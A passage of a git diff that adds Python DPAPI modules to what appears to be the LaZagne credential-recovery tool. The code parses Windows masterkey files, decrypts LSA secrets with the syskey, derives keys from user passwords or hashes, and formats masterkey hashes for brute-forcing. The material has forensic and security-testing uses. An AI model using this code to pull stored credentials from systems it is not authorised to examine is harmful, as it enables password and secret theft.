name = property(lambda self: self.algo.name)
|
||||
module = property(lambda self: self.algo.module)
|
||||
keyLength = property(lambda self: self.algo.keyLength / 8)
|
||||
ivLength = property(lambda self: self.algo.IVLength / 8)
|
||||
blockSize = property(lambda self: self.algo.blockLength / 8)
|
||||
digestLength = property(lambda self: self.algo.digestLength / 8)
|
||||
|
||||
def do_fixup_key(self, key):
|
||||
try:
|
||||
return self.algo.keyFixup.__call__(key)
|
||||
except AttributeError:
|
||||
return key
|
||||
|
||||
def __repr__(self):
|
||||
return "%s [%#x]" % (self.algo.name, self.algnum)
|
||||
|
||||
|
||||
def des_set_odd_parity(key):
|
||||
_lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19,
|
||||
19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37,
|
||||
37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55,
|
||||
55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73,
|
||||
73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91,
|
||||
91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107,
|
||||
107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121,
|
||||
121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134,
|
||||
134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148,
|
||||
148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162,
|
||||
162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176,
|
||||
176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191,
|
||||
191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205,
|
||||
205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218,
|
||||
218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233,
|
||||
233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247,
|
||||
247, 248, 248, 251, 251, 253, 253, 254, 254]
|
||||
tmp = array.array("B")
|
||||
tmp.fromstring(key)
|
||||
for i, v in enumerate(tmp):
|
||||
tmp[i] = _lut[v]
|
||||
return tmp.tostring()
|
||||
|
||||
|
||||
CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, blockLength=64, IVLength=64, module=des,
|
||||
keyFixup=des_set_odd_parity)
|
||||
CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, blockLength=64, IVLength=64, module=triple_des,
|
||||
keyFixup=des_set_odd_parity)
|
||||
CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, blockLength=128, IVLength=128)
|
||||
CryptoAlgo.add_algo(0x660e, name="AES-128", keyLength=128, blockLength=128, IVLength=128)
|
||||
CryptoAlgo.add_algo(0x660f, name="AES-192", keyLength=192, blockLength=128, IVLength=128)
|
||||
CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, blockLength=128, IVLength=128)
|
||||
CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512)
|
||||
CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512)
|
||||
CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512)
|
||||
CryptoAlgo.add_algo(0x800c, name="sha256", digestLength=256, blockLength=512)
|
||||
CryptoAlgo.add_algo(0x800d, name="sha384", digestLength=384, blockLength=1024)
|
||||
CryptoAlgo.add_algo(0x800e, name="sha512", digestLength=512, blockLength=1024)
|
||||
|
||||
|
||||
def CryptSessionKeyXP(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None):
|
||||
"""
|
||||
Computes the decryption key for XP DPAPI blob, given the masterkey and optional information.
|
||||
|
||||
This implementation relies on a faulty implementation from Microsoft that does not respect the HMAC RFC.
|
||||
Instead of updating the inner pad, we update the outer pad...
|
||||
This algorithm is also used when checking the HMAC for integrity after decryption
|
||||
|
||||
:param masterkey: decrypted masterkey (should be 64 bytes long)
|
||||
:param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check)
|
||||
:param entropy: this is the optional entropy from CryptProtectData() API
|
||||
:param strongPassword: optional password used for decryption or the blob itself
|
||||
:param verifBlob: optional encrypted blob used for integrity check
|
||||
:returns: decryption key
|
||||
:rtype : str
|
||||
"""
|
||||
if len(masterkey) > 20:
|
||||
masterkey = hashlib.sha1(masterkey).digest()
|
||||
|
||||
masterkey += b"\x00" * int(hashAlgo.blockSize)
|
||||
ipad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize)))
|
||||
opad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize)))
|
||||
digest = hashlib.new(hashAlgo.name)
|
||||
digest.update(ipad)
|
||||
digest.update(nonce)
|
||||
tmp = digest.digest()
|
||||
digest = hashlib.new(hashAlgo.name)
|
||||
digest.update(opad)
|
||||
digest.update(tmp)
|
||||
if entropy is not None:
|
||||
digest.update(entropy)
|
||||
if strongPassword is not None:
|
||||
strongPassword = hashlib.sha1(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest()
|
||||
digest.update(strongPassword)
|
||||
elif verifBlob is not None:
|
||||
digest.update(verifBlob)
|
||||
return digest.digest()
|
||||
|
||||
|
||||
def CryptSessionKeyWin7(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None):
|
||||
"""
|
||||
Computes the decryption key for Win7+ DPAPI blob, given the masterkey and optional information.
|
||||
|
||||
This implementation relies on an RFC compliant HMAC implementation
|
||||
This algorithm is also used when checking the HMAC for integrity after decryption
|
||||
|
||||
:param masterkey: decrypted masterkey (should be 64 bytes long)
|
||||
:param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check)
|
||||
:param entropy: this is the optional entropy from CryptProtectData() API
|
||||
:param strongPassword: optional password used for decryption or the blob itself
|
||||
:param verifBlob: optional encrypted blob used for integrity check
|
||||
:returns: decryption key
|
||||
:rtype : str
|
||||
"""
|
||||
if len(masterkey) > 20:
|
||||
masterkey = hashlib.sha1(masterkey).digest()
|
||||
|
||||
digest = hmac.new(masterkey, digestmod=lambda: hashlib.new(hashAlgo.name))
|
||||
digest.update(nonce)
|
||||
if entropy is not None:
|
||||
digest.update(entropy)
|
||||
if strongPassword is not None:
|
||||
strongPassword = hashlib.sha512(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest()
|
||||
digest.update(strongPassword)
|
||||
elif verifBlob is not None:
|
||||
digest.update(verifBlob)
|
||||
return digest.digest()
|
||||
|
||||
|
||||
def CryptDeriveKey(h, cipherAlgo, hashAlgo):
|
||||
"""
|
||||
Internal use. Mimics the corresponding native Microsoft function
|
||||
"""
|
||||
if len(h) > hashAlgo.blockSize:
|
||||
h = hashlib.new(hashAlgo.name, h).digest()
|
||||
if len(h) >= cipherAlgo.keyLength:
|
||||
return h
|
||||
h += b"\x00" * int(hashAlgo.blockSize)
|
||||
ipad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize)))
|
||||
opad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize)))
|
||||
k = hashlib.new(hashAlgo.name, ipad).digest() + hashlib.new(hashAlgo.name, opad).digest()
|
||||
k = k[:cipherAlgo.keyLength]
|
||||
k = cipherAlgo.do_fixup_key(k)
|
||||
return k
|
||||
|
||||
|
||||
def decrypt_lsa_key_nt5(lsakey, syskey):
|
||||
"""
|
||||
This function decrypts the LSA key using the syskey
|
||||
"""
|
||||
dg = hashlib.md5()
|
||||
dg.update(syskey)
|
||||
for i in xrange(1000):
|
||||
dg.update(lsakey[60:76])
|
||||
arcfour = RC4(dg.digest())
|
||||
deskey = arcfour.encrypt(lsakey[12:60])
|
||||
return [deskey[16 * x:16 * (x + 1)] for x in xrange(3)]
|
||||
|
||||
|
||||
def decrypt_lsa_key_nt6(lsakey, syskey):
|
||||
"""
|
||||
This function decrypts the LSA keys using the syskey
|
||||
"""
|
||||
dg = hashlib.sha256()
|
||||
dg.update(syskey)
|
||||
for i in range(1000):
|
||||
dg.update(lsakey[28:60])
|
||||
|
||||
k = AESModeOfOperationECB(dg.digest())
|
||||
keys = b"".join([k.encrypt(lsakey[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(lsakey[60:]), AES_BLOCK_SIZE)])
|
||||
|
||||
size = struct.unpack_from("<L", keys)[0]
|
||||
keys = keys[16:16 + size]
|
||||
currentkey = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % struct.unpack("<L2H8B", keys[4:20])
|
||||
nb = struct.unpack("<L", keys[24:28])[0]
|
||||
off = 28
|
||||
kd = {}
|
||||
for i in range(nb):
|
||||
g = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % struct.unpack("<L2H8B", keys[off:off + 16])
|
||||
t, l = struct.unpack_from("<2L", keys[off + 16:])
|
||||
k = keys[off + 24:off + 24 + l]
|
||||
kd[g] = {"type": t, "key": k}
|
||||
off += 24 + l
|
||||
return (currentkey, kd)
|
||||
|
||||
|
||||
def SystemFunction005(secret, key):
|
||||
"""
|
||||
This function is used to decrypt LSA secrets.
|
||||
Reproduces the corresponding Windows internal function.
|
||||
Taken from creddump project https://code.google.com/p/creddump/
|
||||
"""
|
||||
decrypted_data = ''
|
||||
j = 0
|
||||
algo = CryptoAlgo(0x6603)
|
||||
for i in range(0, len(secret), 8):
|
||||
enc_block = secret[i:i + 8]
|
||||
block_key = key[j:j + 7]
|
||||
des_key = []
|
||||
des_key.append(char_to_int(block_key[0]) >> 1)
|
||||
des_key.append(((char_to_int(block_key[0]) & 0x01) << 6) | (char_to_int(block_key[1]) >> 2))
|
||||
des_key.append(((char_to_int(block_key[1]) & 0x03) << 5) | (char_to_int(block_key[2]) >> 3))
|
||||
des_key.append(((char_to_int(block_key[2]) & 0x07) << 4) | (char_to_int(block_key[3]) >> 4))
|
||||
des_key.append(((char_to_int(block_key[3]) & 0x0F) << 3) | (char_to_int(block_key[4]) >> 5))
|
||||
des_key.append(((char_to_int(block_key[4]) & 0x1F) << 2) | (char_to_int(block_key[5]) >> 6))
|
||||
des_key.append(((char_to_int(block_key[5]) & 0x3F) << 1) | (char_to_int(block_key[6]) >> 7))
|
||||
des_key.append(char_to_int(block_key[6]) & 0x7F)
|
||||
des_key = algo.do_fixup_key("".join([chr(x << 1) for x in des_key]))
|
||||
|
||||
decrypted_data += des(des_key, ECB).decrypt(enc_block)
|
||||
j += 7
|
||||
if len(key[j:j + 7]) < 7:
|
||||
j = len(key[j:j + 7])
|
||||
dec_data_len = struct.unpack("<L", decrypted_data[:4])[0]
|
||||
return decrypted_data[8:8 + dec_data_len]
|
||||
|
||||
|
||||
def decrypt_lsa_secret(secret, lsa_keys):
|
||||
"""
|
||||
This function replaces SystemFunction005 for newer Windows
|
||||
"""
|
||||
keyid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % struct.unpack("<L2H8B", secret[4:20])
|
||||
if keyid not in lsa_keys:
|
||||
return None
|
||||
algo = struct.unpack("<L", secret[20:24])[0]
|
||||
dg = hashlib.sha256()
|
||||
dg.update(lsa_keys[keyid]["key"])
|
||||
for i in xrange(1000):
|
||||
dg.update(secret[28:60])
|
||||
|
||||
c = AESModeOfOperationECB(dg.digest())
|
||||
clear = b"".join([c.encrypt(secret[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(secret[60:]), AES_BLOCK_SIZE)])
|
||||
|
||||
size = struct.unpack_from("<L", clear)[0]
|
||||
return clear[16:16 + size]
|
||||
|
||||
|
||||
def pbkdf2(passphrase, salt, keylen, iterations, digest='sha1'):
|
||||
"""
|
||||
Implementation of PBKDF2 that allows specifying digest algorithm.
|
||||
Returns the corresponding expanded key which is keylen long.
|
||||
"""
|
||||
buff = b""
|
||||
i = 1
|
||||
while len(buff) < keylen:
|
||||
U = salt + struct.pack("!L", i)
|
||||
i += 1
|
||||
derived = hmac.new(passphrase, U, digestmod=lambda: hashlib.new(digest)).digest()
|
||||
for r in xrange(iterations - 1):
|
||||
actual = hmac.new(passphrase, derived, digestmod=lambda: hashlib.new(digest)).digest()
|
||||
tmp = b''
|
||||
for x, y in zip(derived, actual):
|
||||
if sys.version_info > (3, 0):
|
||||
tmp += struct.pack(">B", x ^ y)
|
||||
else:
|
||||
tmp += chr(char_to_int(x) ^ char_to_int(y))
|
||||
derived = tmp
|
||||
buff += derived
|
||||
return buff[:int(keylen)]
|
||||
|
||||
|
||||
def derivePwdHash(pwdhash, sid, digest='sha1'):
|
||||
"""
|
||||
Internal use. Computes the encryption key from a user's password hash
|
||||
"""
|
||||
return hmac.new(pwdhash, (sid + "\0").encode("UTF-16LE"), digestmod=lambda: hashlib.new(digest)).digest()
|
||||
|
||||
|
||||
def dataDecrypt(cipherAlgo, hashAlgo, raw, encKey, iv, rounds):
|
||||
"""
|
||||
Internal use. Decrypts data stored in DPAPI structures.
|
||||
"""
|
||||
hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name)
|
||||
derived = pbkdf2(encKey, iv, cipherAlgo.keyLength + cipherAlgo.ivLength, rounds, hname)
|
||||
key, iv = derived[:int(cipherAlgo.keyLength)], derived[int(cipherAlgo.keyLength):]
|
||||
key = key[:int(cipherAlgo.keyLength)]
|
||||
iv = iv[:int(cipherAlgo.ivLength)]
|
||||
|
||||
if "AES" in cipherAlgo.name:
|
||||
cipher = AESModeOfOperationCBC(key, iv=iv)
|
||||
cleartxt = b"".join([cipher.decrypt(raw[i:i + AES_BLOCK_SIZE]) for i in range(0, len(raw), AES_BLOCK_SIZE)])
|
||||
else:
|
||||
cipher = cipherAlgo.module(key, CBC, iv)
|
||||
cleartxt = cipher.decrypt(raw)
|
||||
return cleartxt
|
||||
|
||||
|
||||
def DPAPIHmac(hashAlgo, pwdhash, hmacSalt, value):
|
||||
"""
|
||||
Internal function used to compute HMACs of DPAPI structures
|
||||
"""
|
||||
hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name)
|
||||
encKey = hmac.new(pwdhash, digestmod=lambda: hashlib.new(hname))
|
||||
encKey.update(hmacSalt)
|
||||
encKey = encKey.digest()
|
||||
rv = hmac.new(encKey, digestmod=lambda: hashlib.new(hname))
|
||||
rv.update(value)
|
||||
return rv.digest()
|
128
lazagne/config/DPAPI/eater.py
Normal file
128
lazagne/config/DPAPI/eater.py
Normal file
@ -0,0 +1,128 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
#############################################################################
|
||||
## ##
|
||||
## This file is part of DPAPIck ##
|
||||
## Windows DPAPI decryption & forensic toolkit ##
|
||||
## ##
|
||||
## ##
|
||||
## Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ##
|
||||
## This document is the property of Cassidian SAS, it may not be copied or ##
|
||||
## circulated without prior licence ##
|
||||
## ##
|
||||
## Author: Jean-Michel Picod <jmichel.p@gmail.com> ##
|
||||
## ##
|
||||
## This program is distributed under GPLv3 licence (see LICENCE.txt) ##
|
||||
## ##
|
||||
#############################################################################
|
||||
|
||||
import struct
|
||||
|
||||
|
||||
class Eater(object):
|
||||
"""This class is a helper for parsing binary structures."""
|
||||
|
||||
def __init__(self, raw, offset=0, end=None, endianness="<"):
|
||||
self.raw = raw
|
||||
self.ofs = offset
|
||||
if end is None:
|
||||
end = len(raw)
|
||||
self.end = end
|
||||
self.endianness = endianness
|
||||
|
||||
def prepare_fmt(self, fmt):
|
||||
"""Internal use. Prepend endianness to the given format if it is not
|
||||
already specified.
|
||||
|
||||
fmt is a format string for struct.unpack()
|
||||
|
||||
Returns a tuple of the format string and the corresponding data size.
|
||||
|
||||
"""
|
||||
if fmt[0] not in ["<", ">", "!", "@"]:
|
||||
fmt = self.endianness+fmt
|
||||
return fmt, struct.calcsize(fmt)
|
||||
|
||||
def read(self, fmt):
|
||||
"""Parses data with the given format string without taking away bytes.
|
||||
|
||||
Returns an array of elements or just one element depending on fmt.
|
||||
|
||||
"""
|
||||
fmt, sz = self.prepare_fmt(fmt)
|
||||
v = struct.unpack_from(fmt, self.raw, self.ofs)
|
||||
if len(v) == 1:
|
||||
v = v[0]
|
||||
return v
|
||||
|
||||
def eat(self, fmt):
|
||||
"""Parses data with the given format string.
|
||||
|
||||
Returns an array of elements or just one element depending on fmt.
|
||||
|
||||
"""
|
||||
fmt, sz = self.prepare_fmt(fmt)
|
||||
v = struct.unpack_from(fmt, self.raw, self.ofs)
|
||||
if len(v) == 1:
|
||||
v = v[0]
|
||||
self.ofs += sz
|
||||
return v
|
||||
|
||||
def eat_string(self, length):
|
||||
"""Eats and returns a string of length characters"""
|
||||
return self.eat("%us" % length)
|
||||
|
||||
def eat_length_and_string(self, fmt):
|
||||
"""Eats and returns a string which length is obtained after eating
|
||||
an integer represented by fmt
|
||||
|
||||
"""
|
||||
l = self.eat(fmt)
|
||||
return self.eat_string(l)
|
||||
|
||||
def pop(self, fmt):
|
||||
"""Eats a structure represented by fmt from the end of raw data"""
|
||||
fmt, sz = self.prepare_fmt(fmt)
|
||||
self.end -= sz
|
||||
v = struct.unpack_from(fmt, self.raw, self.end)
|
||||
if len(v) == 1:
|
||||
v = v[0]
|
||||
return v
|
||||
|
||||
def pop_string(self, length):
|
||||
"""Pops and returns a string of length characters"""
|
||||
return self.pop("%us" % length)
|
||||
|
||||
def pop_length_and_string(self, fmt):
|
||||
"""Pops and returns a string which length is obtained after poping an
|
||||
integer represented by fmt.
|
||||
|
||||
"""
|
||||
l = self.pop(fmt)
|
||||
return self.pop_string(l)
|
||||
|
||||
def remain(self):
|
||||
"""Returns all the bytes that have not been eated nor poped yet."""
|
||||
return self.raw[self.ofs:self.end]
|
||||
|
||||
def eat_sub(self, length):
|
||||
"""Eats a sub-structure that is contained in the next length bytes"""
|
||||
sub = self.__class__(self.raw[self.ofs:self.ofs+length], endianness=self.endianness)
|
||||
self.ofs += length
|
||||
return sub
|
||||
|
||||
def __nonzero__(self):
|
||||
return self.ofs < self.end
|
||||
|
||||
|
||||
class DataStruct(object):
|
||||
"""Don't use this class unless you know what you are doing!"""
|
||||
|
||||
def __init__(self, raw=None):
|
||||
if raw is not None:
|
||||
self.parse(Eater(raw, endianness="<"))
|
||||
|
||||
def parse(self, eater_obj):
|
||||
raise NotImplementedError("This function must be implemented in subclasses")
|
||||
|
460
lazagne/config/DPAPI/masterkey.py
Normal file
460
lazagne/config/DPAPI/masterkey.py
Normal file
@ -0,0 +1,460 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
"""
|
||||
Code based from these two awesome projects:
|
||||
- DPAPICK : https://bitbucket.org/jmichel/dpapick
|
||||
- DPAPILAB : https://github.com/dfirfpi/dpapilab
|
||||
"""
|
||||
|
||||
from . import crypto
|
||||
from .credhist import CredHistFile
|
||||
from .system import CredSystem
|
||||
from .eater import DataStruct, Eater
|
||||
from collections import defaultdict
|
||||
|
||||
import codecs
|
||||
import hashlib
|
||||
import struct
|
||||
import os
|
||||
|
||||
from lazagne.config.constant import constant
|
||||
|
||||
|
||||
class MasterKey(DataStruct):
|
||||
"""
|
||||
This class represents a MasterKey block contained in a MasterKeyFile
|
||||
"""
|
||||
|
||||
def __init__(self, raw=None):
|
||||
self.decrypted = False
|
||||
self.key = None
|
||||
self.key_hash = None
|
||||
self.hmacSalt = None
|
||||
self.hmac = None
|
||||
self.hmacComputed = None
|
||||
self.cipherAlgo = None
|
||||
self.hashAlgo = None
|
||||
self.rounds = None
|
||||
self.iv = None
|
||||
self.version = None
|
||||
self.ciphertext = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.version = data.eat("L")
|
||||
self.iv = data.eat("16s")
|
||||
self.rounds = data.eat("L")
|
||||
self.hashAlgo = crypto.CryptoAlgo(data.eat("L"))
|
||||
self.cipherAlgo = crypto.CryptoAlgo(data.eat("L"))
|
||||
self.ciphertext = data.remain()
|
||||
|
||||
def decrypt_with_hash(self, sid, pwdhash):
|
||||
"""
|
||||
Decrypts the masterkey with the given user's hash and SID.
|
||||
Simply computes the corresponding key then calls self.decrypt_with_key()
|
||||
"""
|
||||
self.decrypt_with_key(crypto.derivePwdHash(pwdhash=pwdhash, sid=sid))
|
||||
|
||||
def decrypt_with_password(self, sid, pwd):
|
||||
"""
|
||||
Decrypts the masterkey with the given user's password and SID.
|
||||
Simply computes the corresponding key, then calls self.decrypt_with_hash()
|
||||
"""
|
||||
try:
|
||||
pwd = pwd.encode("UTF-16LE")
|
||||
except Exception:
|
||||
return
|
||||
|
||||
for algo in ["sha1", "md4"]:
|
||||
self.decrypt_with_hash(sid=sid, pwdhash=hashlib.new(algo, pwd).digest())
|
||||
if self.decrypted:
|
||||
break
|
||||
|
||||
def decrypt_with_key(self, pwdhash):
|
||||
"""
|
||||
Decrypts the masterkey with the given encryption key.
|
||||
This function also extracts the HMAC part of the decrypted stuff and compare it with the computed one.
|
||||
Note that, once successfully decrypted, the masterkey will not be decrypted anymore; this function will simply return.
|
||||
"""
|
||||
if self.decrypted or not pwdhash:
|
||||
return
|
||||
|
||||
# Compute encryption key
|
||||
cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.ciphertext, pwdhash, self.iv,
|
||||
self.rounds)
|
||||
self.key = cleartxt[-64:]
|
||||
hmacSalt = cleartxt[:16]
|
||||
hmac = cleartxt[16:16 + int(self.hashAlgo.digestLength)]
|
||||
hmacComputed = crypto.DPAPIHmac(self.hashAlgo, pwdhash, hmacSalt, self.key)
|
||||
self.decrypted = hmac == hmacComputed
|
||||
if self.decrypted:
|
||||
self.key_hash = hashlib.sha1(self.key).digest()
|
||||
|
||||
|
||||
class CredHist(DataStruct):
|
||||
"""This class represents a Credhist block contained in the MasterKeyFile"""
|
||||
|
||||
def __init__(self, raw=None):
|
||||
self.version = None
|
||||
self.guid = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.version = data.eat("L")
|
||||
self.guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
|
||||
|
||||
|
||||
class DomainKey(DataStruct):
|
||||
"""This class represents a DomainKey block contained in the MasterKeyFile.
|
||||
|
||||
Currently does nothing more than parsing. Work on Active Directory stuff is
|
||||
still on progress.
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self, raw=None):
|
||||
self.version = None
|
||||
self.secretLen = None
|
||||
self.accesscheckLen = None
|
||||
self.guidKey = None
|
||||
self.encryptedSecret = None
|
||||
self.accessCheck = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.version = data.eat("L")
|
||||
self.secretLen = data.eat("L")
|
||||
self.accesscheckLen = data.eat("L")
|
||||
self.guidKey = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
|
||||
self.encryptedSecret = data.eat("%us" % self.secretLen)
|
||||
self.accessCheck = data.eat("%us" % self.accesscheckLen)
|
||||
|
||||
|
||||
class MasterKeyFile(DataStruct):
|
||||
"""
|
||||
This class represents a masterkey file.
|
||||
"""
|
||||
|
||||
def __init__(self, raw=None):
|
||||
self.masterkey = None
|
||||
self.backupkey = None
|
||||
self.credhist = None
|
||||
self.domainkey = None
|
||||
self.decrypted = False
|
||||
self.version = None
|
||||
self.guid = None
|
||||
self.policy = None
|
||||
self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.version = data.eat("L")
|
||||
data.eat("2L")
|
||||
self.guid = data.eat("72s").replace(b"\x00", b"")
|
||||
data.eat("2L")
|
||||
self.policy = data.eat("L")
|
||||
self.masterkeyLen = data.eat("Q")
|
||||
self.backupkeyLen = data.eat("Q")
|
||||
self.credhistLen = data.eat("Q")
|
||||
self.domainkeyLen = data.eat("Q")
|
||||
|
||||
if self.masterkeyLen > 0:
|
||||
self.masterkey = MasterKey()
|
||||
self.masterkey.parse(data.eat_sub(self.masterkeyLen))
|
||||
if self.backupkeyLen > 0:
|
||||
self.backupkey = MasterKey()
|
||||
self.backupkey.parse(data.eat_sub(self.backupkeyLen))
|
||||
if self.credhistLen > 0:
|
||||
self.credhist = CredHist()
|
||||
self.credhist.parse(data.eat_sub(self.credhistLen))
|
||||
if self.domainkeyLen > 0:
|
||||
self.domainkey = DomainKey()
|
||||
self.domainkey.parse(data.eat_sub(self.domainkeyLen))
|
||||
|
||||
def get_key(self):
|
||||
"""
|
||||
Returns the first decrypted block between Masterkey and BackupKey.
|
||||
If none has been decrypted, returns the Masterkey block.
|
||||
"""
|
||||
if self.masterkey.decrypted:
|
||||
return self.masterkey.key or self.masterkey.key_hash
|
||||
elif self.backupkey.decrypted:
|
||||
return self.backupkey.key
|
||||
return self.masterkey.key
|
||||
|
||||
def jhash(self, sid=None, context='local'):
|
||||
"""
|
||||
Compute the hash used to be bruteforced.
|
||||
From the masterkey field of the mk file => mk variable.
|
||||
"""
|
||||
if 'des3' in str(self.masterkey.cipherAlgo).lower() and 'hmac' in str(self.masterkey.hashAlgo).lower():
|
||||
version = 1
|
||||
hmac_algo = 'sha1'
|
||||
cipher_algo = 'des3'
|
||||
|
||||
elif 'aes-256' in str(self.masterkey.cipherAlgo).lower() and 'sha512' in str(self.masterkey.hashAlgo).lower():
|
||||
version = 2
|
||||
hmac_algo = 'sha512'
|
||||
cipher_algo = 'aes256'
|
||||
|
||||
else:
|
||||
return 'Unsupported combination of cipher {cipher_algo} and hash algorithm {algo} found!'.format(
|
||||
cipher_algo=self.masterkey.cipherAlgo, algo=self.masterkey.hashAlgo)
|
||||
|
||||
context_int = 0
|
||||
if context == "domain":
|
||||
context_int = 2
|
||||
elif context == "local":
|
||||
context_int = 1
|
||||
|
||||
return '$DPAPImk${version}*{context}*{sid}*{cipher_algo}*{hmac_algo}*{rounds}*{iv}*{size}*{ciphertext}'.format(
|
||||
version=version,
|
||||
context=context_int,
|
||||
sid=sid,
|
||||
cipher_algo=cipher_algo,
|
||||
hmac_algo=hmac_algo,
|
||||
rounds=self.masterkey.rounds,
|
||||
iv=self.masterkey.iv.encode("hex"),
|
||||
size=len(self.masterkey.ciphertext.encode("hex")),
|
||||
ciphertext=self.masterkey.ciphertext.encode("hex")
|
||||
)
|
||||
|
||||
|
||||
class MasterKeyPool(object):
|
||||
"""
|
||||
This class is the pivot for using DPAPIck.
|
||||
It manages all the DPAPI structures and contains all the decryption intelligence.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.keys = defaultdict(
|
||||
lambda: {
|
||||
'password': None, # contains cleartext password
|
||||
'mkf': [], # contains the masterkey file object
|
||||
}
|
||||
)
|
||||
self.mkfiles = []
|
||||
self.credhists = {}
|
||||
self.mk_dir = None
|
||||
self.nb_mkf = 0
|
||||
self.nb_mkf_decrypted = 0
|
||||
self.preferred_guid = None
|
||||
self.system = None
|
||||
|
||||
def add_master_key(self, mkey):
|
||||
"""
|
||||
Add a MasterKeyFile is the pool.
|
||||
mkey is a string representing the content of the file to add.
|
||||
"""
|
||||
mkf = MasterKeyFile(mkey)
|
||||
self.keys[mkf.guid]['mkf'].append(mkf)
|
||||
|
||||
# Store mkfile object
|
||||
self.mkfiles.append(mkf) # TO DO000000 => use only self.keys variable
|
||||
|
||||
def load_directory(self, directory):
|
||||
"""
|
||||
Adds every masterkey contained in the given directory to the pool.
|
||||
"""
|
||||
if os.path.exists(directory):
|
||||
self.mk_dir = directory
|
||||
for k in os.listdir(directory):
|
||||
try:
|
||||
with open(os.path.join(directory, k), 'rb') as f:
|
||||
self.add_master_key(f.read())
|
||||
self.nb_mkf += 1
|
||||
except Exception:
|
||||
pass
|
||||
return True
|
||||
return False
|
||||
|
||||
def get_master_keys(self, guid):
|
||||
"""
|
||||
Returns an array of Masterkeys corresponding to the given GUID.
|
||||
"""
|
||||
return self.keys.get(guid, {}).get('mkf')
|
||||
|
||||
def get_password(self, guid):
|
||||
"""
|
||||
Returns the password found corresponding to the given GUID.
|
||||
"""
|
||||
return self.keys.get(guid, {}).get('password')
|
||||
|
||||
def add_credhist_file(self, sid, credfile):
|
||||
"""
|
||||
Adds a Credhist file to the pool.
|
||||
"""
|
||||
if os.path.exists(credfile):
|
||||
try:
|
||||
with open(credfile) as f:
|
||||
self.credhists[sid] = CredHistFile(f.read())
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def get_preferred_guid(self):
|
||||
"""
|
||||
Extract from the Preferred file the associated GUID.
|
||||
This guid represent the preferred masterkey used by the system.
|
||||
This means that it has been encrypted using the current password not an older one.
|
||||
"""
|
||||
if self.preferred_guid:
|
||||
return self.preferred_guid
|
||||
|
||||
if self.mk_dir:
|
||||
preferred_file = os.path.join(self.mk_dir, u'Preferred')
|
||||
if os.path.exists(preferred_file):
|
||||
with open(preferred_file, 'rb') as pfile:
|
||||
GUID1 = pfile.read(8)
|
||||
GUID2 = pfile.read(8)
|
||||
|
||||
GUID = struct.unpack("<LHH", GUID1)
|
||||
GUID2 = struct.unpack(">HLH", GUID2)
|
||||
self.preferred_guid = b"%s-%s-%s-%s-%s%s" % (
|
||||
